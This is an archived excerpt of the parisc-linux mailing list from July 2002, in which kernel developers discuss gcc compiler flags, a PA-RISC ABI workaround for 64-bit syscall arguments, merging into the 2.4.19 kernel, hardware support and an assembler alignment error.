List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15494

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> Is --disable-indexing used in kernel builds?  This should stop gcc
> from generating the above.
> 
AFAIK no (I will try tomorrow, I had to leave now :( )

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 18:43:20 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20020715184320.R27706@parcelfarce.linux.theplanet.co.uk>
References: <200207151721.g6FHL72e024968@hiauly1.hia.nrc.ca> <20020715173233.GK8724@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621520 10930 80.91.229.3 (22 Nov 2014 01:58:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:40 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 11:43:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 742FD4844
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 11:43:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U9sW-0005G5-00; Mon, 15 Jul 2002 18:43:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020715173233.GK8724@tausq.org>; from randolph@tausq.org on Mon, Jul 15, 2002 at 10:32:33AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15495

On Mon, Jul 15, 2002 at 10:32:33AM -0700, Randolph Chung wrote:
> In reference to a message from John David Anglin, dated Jul 15:
> > > Is --disable-indexing used in kernel builds?  This should stop gcc
> > > from generating the above.
> > 
> > Oops, that should be "-mdisable-indexing".
> 
> right now we use:
> -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer
> -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce
> -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
> -ffunction-sections -march=2.0 -mschedule=8000
> 
> (the last two are only for pa8x00 builds...)
> 
> i'll try the disable-indexing stuff...

while we're on the subject of gcc flags ...

right now, we have an interesting patch in the kernel to get around a
fun feature of the PA ABI that no other ABI seems to have:

-asmlinkage ssize_t sys_pread(unsigned int fd, char * buf,
-                            size_t count, loff_t pos)
+static inline
+ssize_t do_pread(unsigned int fd, char * buf, size_t count, loff_t pos)
[...]
+#if BITS_PER_LONG == 32
+#ifdef __BIG_ENDIAN
+#define LOFF_T(high, low) unsigned int high, unsigned int low
+#else
+#define LOFF_T(high, low) unsigned int low, unsigned int high
+#endif
+
+asmlinkage
+ssize_t sys_pread(unsigned int fd, char *buf, size_t count, LOFF_T(high, low))
+{
+       return do_pread(fd, buf, count, (loff_t)high << 32 | low);
+}
+
+ssize_t sys_pwrite(unsigned int fd, char *buf, size_t count, LOFF_T(high, low))
+{
+       return do_pwrite(fd, buf, count, (loff_t)high << 32 | low);
+}

the problem is that the PA ABI specifies that quantities shall be
`naturally' aligned, even 64-bit quantities on 32-bit machines.  so the
kernel is expecting to see:

	fd (32 bits)
	buf (32 bits)
	count (32 bits)
	(empty)
	pos (64 bits)

what it _actually_ gets (because glibc is hideously broken, IMO):

	fd
	buf
	count
	(pos >> 32)
	pos & 0xffffffff

is there any chance of having a flag (or maybe an __attribute__ that
we could #define asmlinkage to?) which would change the ABI to be more
compressed like all the other architectures?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 14:18:01 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200207151818.g6FII1Lq025501@hiauly1.hia.nrc.ca>
References: <20020715184320.R27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621520 10933 80.91.229.3 (22 Nov 2014 01:58:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:40 +0000 (UTC)
Cc: randolph@tausq.org, joel.soete@freebel.net,
	parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 12:18:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C63D7489C
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 12:18:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6FII200025502;
	Mon, 15 Jul 2002 14:18:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6FII1Lq025501;
	Mon, 15 Jul 2002 14:18:01 -0400 (EDT)
In-Reply-To: <20020715184320.R27706@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jul 15, 2002 06:43:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15496

> the problem is that the PA ABI specifies that quantities shall be
> `naturally' aligned, even 64-bit quantities on 32-bit machines.  so the
> kernel is expecting to see:
> 
> 	fd (32 bits)
> 	buf (32 bits)
> 	count (32 bits)
> 	(empty)
> 	pos (64 bits)
> 
> what it _actually_ gets (because glibc is hideously broken, IMO):
> 
> 	fd
> 	buf
> 	count
> 	(pos >> 32)
> 	pos & 0xffffffff

It's probably a whole lot easier to fix glibc than change gcc.

> is there any chance of having a flag (or maybe an __attribute__ that
> we could #define asmlinkage to?) which would change the ABI to be more
> compressed like all the other architectures?

I think this is basically a bad idea as it will have a whole lot
of nasty side effects.  How will gdb know which ABI, varargs, etc?

You would need to use a compiler switch and modify
FUNCTION_ARG_PARTIAL_NREGS and FUNCTION_ARG appropriately.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] anybody can manage parisc-linux.org domain
Date: Mon, 15 Jul 2002 23:09:36 +0300
Lines: 8
Approved: news@gmane.org
Message-ID: <20020715200815.5BF6E485C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621521 10937 80.91.229.3 (22 Nov 2014 01:58:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 14:08:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 5BF6E485C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 14:08:15 -0600 (MDT)
Original-Received: (qmail 30145 invoked from network); 15 Jul 2002 20:09:37 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 15 Jul 2002 20:09:36 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15497

Can anybody forward www.bg.parisc-linux.org to 195.96.226.1?
I made mirror of parisc-linux.org but I haven't DNS records

-------------------------------------------------------------------
-->> Add WEB ACCESS to your POP email accounts with
-->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
-------------------------------------------------------------------


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 15:50:22 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20020715215022.A8251485D@dsl2.external.hp.com>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>  <20020715143909.K27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621521 10942 80.91.229.3 (22 Nov 2014 01:58:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:41 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 15:50:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A8251485D; Mon, 15 Jul 2002 15:50:22 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 15 Jul 2002 14:39:09 BST." <20020715143909.K27706@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15498

Matthew Wilcox wrote:
> But the K class hardware is not well supported.  Lan and Console
> are the only two devices which really work; the SCSI cards don't use the
> normal NCR/Symbios chips but a proprietary chip instead.

Not entirely correct. K-class has both HSC (GSC follow-on) and HP-PB "slots".
IIRC, the built-in SCSI is HSC based. But you are right in that all the HP-PB
crud isn't supported.

> Hmm.. anyone want to do a `testimonials' section on the website which
> lists peoples (successful ;-) experiences with using PA/Linux in
> production environments?

ESIEE folks have that already in their "what's supported" HW listing.
Please see the ESIEE "puffin" site for where to submit them.

> > [ObOnTopic] What is the state of the 2.4 pa-risc code in terms of rate
> > of change now. Would it be a good time to use -ac as a real sync up ?
> 
> rate of change is fairly low; i attempted to do a merge with marcelo
> during early 2.4.19 dev, but someone sent some conflicting patches in
> first, i tripped over my own feet trying to use bitkeeper and ran out
> of motivation to fix conflicts myself.

I agree, hppa is quite stable on UP and most SMP systems.
BTW - no one ever said "Thank you" for doing that - kudos!

> at OLS we decided to concentrate on 2.5 RSN.  it's more important to
> work on that than keep trying to push bits into 2.4.

yes - but I'd still like to see our changes get into 2.4.
I just want to be doing development on 2.5.

Alan Cox wrote:
| Is there somewhere I can yank a definitive stable 2.4 tree and I'll take
| a look at the 2.4 stuff. I've had a bit of practice at the merging game
| 8)

Just a bit? ;^)

For a full source tree:
	ftp://ftp.parisc-linux.org/cvs/linux-latest.tar.gz

lrwxrwxrwx    1 bame     ftpadmin       24 Jul 13 18:35 linux-latest.tar.gz -> linux-2.4.18-pa55.tar.gz
-rw-r--r--    1 bame     ftpadmin 30508560 Jul 13 18:35 linux-2.4.18-pa55.tar.gz

hth,
grant


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 merge
Date: Mon, 15 Jul 2002 17:03:06 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020715230306.93501485E@dsl2.external.hp.com>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk>  <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621521 10944 80.91.229.3 (22 Nov 2014 01:58:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 17:03:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 93501485E; Mon, 15 Jul 2002 17:03:06 -0600 (MDT)
In-Reply-To: Message from Alan Cox <alan@lxorguk.ukuu.org.uk> 
   of "15 Jul 2002 15:37:59 BST." <1026743879.30202.5.camel@irongate.swansea.linux.org.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15499

[ sorry - change the subject line ]

Alan Cox wrote:
> [ObOnTopic] What is the state of the 2.4 pa-risc code in terms of rate
> of change now. Would it be a good time to use -ac as a real sync up ?

BTW, I've been testing Ivan K's PCI rewrite/changes on A500 for the past
couple of monthes but never committed those to CVS. I guess I didn't
want more churn until Ivan could tell me his bits were in 2.4.

Basically with his code, I needed few or no changes to drivers/pci.
I'd have to review the diff again.
Ivan last sent me a patch on 18.4.2002.
You want matching changes for arch/parisc as well?

thanks,
grant


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 merge
Date: 16 Jul 2002 01:23:30 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <1026779010.31925.44.camel@irongate.swansea.linux.org.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>
	<20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> 
	<1026743879.30202.5.camel@irongate.swansea.linux.org.uk>  
	<20020715230306.93501485E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621522 10947 80.91.229.3 (22 Nov 2014 01:58:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 17:13:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78847487F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 17:13:31 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6G0NVu6032685;
	Tue, 16 Jul 2002 01:23:32 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6G0NU6a032683;
	Tue, 16 Jul 2002 01:23:30 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020715230306.93501485E@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15500

On Tue, 2002-07-16 at 00:03, Grant Grundler wrote:
> 
> [ sorry - change the subject line ]
> 
> Alan Cox wrote:
> > [ObOnTopic] What is the state of the 2.4 pa-risc code in terms of rate
> > of change now. Would it be a good time to use -ac as a real sync up ?
> 
> BTW, I've been testing Ivan K's PCI rewrite/changes on A500 for the past
> couple of monthes but never committed those to CVS. I guess I didn't
> want more churn until Ivan could tell me his bits were in 2.4.
> 
> Basically with his code, I needed few or no changes to drivers/pci.
> I'd have to review the diff again.
> Ivan last sent me a patch on 18.4.2002.
> You want matching changes for arch/parisc as well?

That would be interesting to see yes



From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 merge
Date: Mon, 15 Jul 2002 19:30:47 -0400
Organization: LCN
Lines: 8
Approved: news@gmane.org
Message-ID: <3D335B27.3060808@neuronet.pitt.edu>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>	<20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> 	<1026743879.30202.5.camel@irongate.swansea.linux.org.uk>  	<20020715230306.93501485E@dsl2.external.hp.com> <1026779010.31925.44.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621522 10953 80.91.229.3 (22 Nov 2014 01:58:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 17:31:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mothra.mx.pitdc1.stargate.net (mothra.mx.pitdc1.stargate.net [206.210.69.149])
	by dsl2.external.hp.com (Postfix) with SMTP id 697004884
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 17:31:06 -0600 (MDT)
Original-Received: (qmail 23844 invoked from network); 15 Jul 2002 23:30:54 -0000
Original-Received: from unknown (HELO neuronet.pitt.edu) (208.40.172.2)
  by mothra.mx.pitdc1.stargate.net with SMTP; 15 Jul 2002 23:30:54 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1a+) Gecko/20020710
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15501

Seems like the merge already begun:

http://linuxtoday.com/news_story.php3?ltsn=2002-07-15-015-26-NW-KN-DV

-- 
      Rafael



From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.[02] alignment problem
Date: Mon, 15 Jul 2002 22:00:31 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20020716050031.GA641__10802.5831905708$1416621522$gmane$org@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621522 10955 80.91.229.3 (22 Nov 2014 01:58:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:42 +0000 (UTC)
Cc: gcc@gcc.gnu.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 22:56:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C51E4862
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 22:56:55 -0600 (MDT)
Original-Received: (qmail 15102 invoked from network); 16 Jul 2002 04:56:49 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <gcc@gcc.gnu.org>; 16 Jul 2002 04:56:49 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 15E5CCE04E; Mon, 15 Jul 2002 22:00:31 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15502

Compiling the linux kernel (2.4.19-rc1-ac5) with hppa64-linux-gcc 
(3.0.4 or 3.2) gives:

tausq@a500:~/src/linux-2.4.19-rc1/net/ipv4$ hppa64-linux-gcc -D__KERNEL__ -I/home/tausq/src/linux-2.4.19-rc1/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I /usr/lib/gcc-lib/hppa64-linux/3.0/include -DKBUILD_BASENAME=tcp_diag  -c -o tcp_diag.o tcp_diag.c
{standard input}: Assembler messages:
{standard input}:138: Error: Field not properly aligned [8] (44).
{standard input}:138: Error: Invalid operands
{standard input}:609: Error: Field not properly aligned [8] (44).
{standard input}:609: Error: Invalid operands
{standard input}:707: Error: Field not properly aligned [8] (44).
{standard input}:707: Error: Invalid operands

preprocessed source attached.

